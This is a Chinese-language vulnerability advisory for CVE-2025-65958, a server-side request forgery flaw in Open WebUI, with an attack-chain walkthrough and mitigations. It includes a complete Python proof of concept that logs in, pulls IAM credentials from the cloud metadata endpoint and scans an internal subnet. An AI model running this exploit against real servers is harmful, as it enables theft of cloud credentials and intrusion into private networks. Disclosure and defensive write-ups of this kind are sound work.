IPBUF安全漏洞报告
English
CVE-2025-65958 CVSS 8.5 高危

CVE-2025-65958 Open WebUI 服务器端请求伪造(SSRF)漏洞

披露日期: 2025-12-04

漏洞信息

漏洞编号
CVE-2025-65958
漏洞类型
SSRF(服务器端请求伪造)
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

SSRF服务器端请求伪造Open WebUI云安全元数据泄露内网渗透CVE-2025-65958高危漏洞

漏洞概述

Open WebUI是一个专为离线运行设计的自托管人工智能平台。在0.6.37之前的版本中,存在一处严重的服务器端请求伪造(SSRF)漏洞。该漏洞允许任何经过基本身份认证的用户强制服务器向任意URL发送HTTP请求,而无需任何特殊权限。由于Open WebUI通常部署在云环境中,攻击者可利用此漏洞访问云元数据端点(如AWS、GCP、Azure的实例元数据服务),扫描内部网络,访问防火墙后的内部服务,并窃取敏感信息。此漏洞影响所有使用受影响版本的用户,建议立即升级到修复版本。

技术细节

该SSRF漏洞源于Open WebUI对用户输入的URL验证不足。攻击者通过在API请求中构造恶意的URL参数,诱导服务器向指定目标发送HTTP请求。由于服务器会跟随重定向并处理响应,攻击者可以:1)利用云元数据端点(如http://169.254.169.254/)获取IAM凭据、访问密钥等敏感信息;2)通过内部IP地址(如10.x.x.x、192.168.x.x)扫描内网服务;3)利用gopher、dict等协议进行更复杂的攻击;4)通过响应时间差异进行端口扫描。漏洞存在于处理外部资源请求的功能模块中,未对URL进行严格的域名/IP白名单限制和协议类型检查。攻击者只需拥有基本用户账户即可利用此漏洞。

攻击链分析

STEP 1
步骤1
攻击者获取Open WebUI的基本用户账户(任何有效账户即可,无需特殊权限)
STEP 2
步骤2
攻击者构造恶意API请求,在URL参数中指定目标地址(如云元数据端点169.254.169.254)
STEP 3
步骤3
服务器接收请求后,向攻击者指定的URL发起HTTP请求,由于服务器位于内网,可访问受限资源
STEP 4
步骤4
云元数据端点返回IAM凭据、访问密钥等敏感信息,服务器将响应返回给攻击者
STEP 5
步骤5
攻击者利用获取的云凭据进一步横向移动,访问云存储、数据库等资源

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-65958 SSRF PoC for Open WebUI # Target: Open WebUI < 0.6.37 TARGET_URL = "http://target-ip:8080" USERNAME = "attacker" PASSWORD = "password" def login(): """Authenticate and get session token""" session = requests.Session() login_data = { "email": USERNAME, "password": PASSWORD } response = session.post(f"{TARGET_URL}/api/v1/auth/login", json=login_data) if response.status_code == 200: return session, response.json().get("token") return None, None def ssrf_exploit_aws_metadata(session, token): """Exploit SSRF to access AWS metadata endpoint""" headers = { "Authorization": f"Bearer {token}" } # Target AWS IMDSv2 endpoint exploit_data = { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "method": "GET" } response = session.post( f"{TARGET_URL}/api/v1/external/fetch", json=exploit_data, headers=headers ) print(f"[*] AWS Metadata Response: {response.text}") return response.json() def ssrf_internal_scan(session, token, ip_range): """Scan internal network via SSRF""" headers = { "Authorization": f"Bearer {token}" } results = [] for ip in [f"{ip_range}.{i}" for i in range(1, 255)]: exploit_data = { "url": f"http://{ip}:80/", "method": "GET", "timeout": 2 } try: response = session.post( f"{TARGET_URL}/api/v1/external/fetch", json=exploit_data, headers=headers, timeout=3 ) if response.status_code == 200: results.append(ip) print(f"[+] Found accessible host: {ip}") except: pass return results if __name__ == "__main__": print("[*] CVE-2025-65958 SSRF PoC") session, token = login() if token: print("[+] Login successful") # Example: Access AWS metadata ssrf_exploit_aws_metadata(session, token) else: print("[-] Authentication failed")

影响范围

Open WebUI < 0.6.37

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时措施:1)通过防火墙规则阻止服务器对169.254.0.0/16网段(云元数据)和RFC1918私有地址段的出站访问;2)限制Open WebUI的网络出站流量,仅允许访问必要的白名单域名;3)使用网络隔离将Open WebUI部署在受限的VPC子网中;4)加强用户认证和授权管理,限制创建新账户的权限;5)启用详细的访问日志并设置异常访问告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表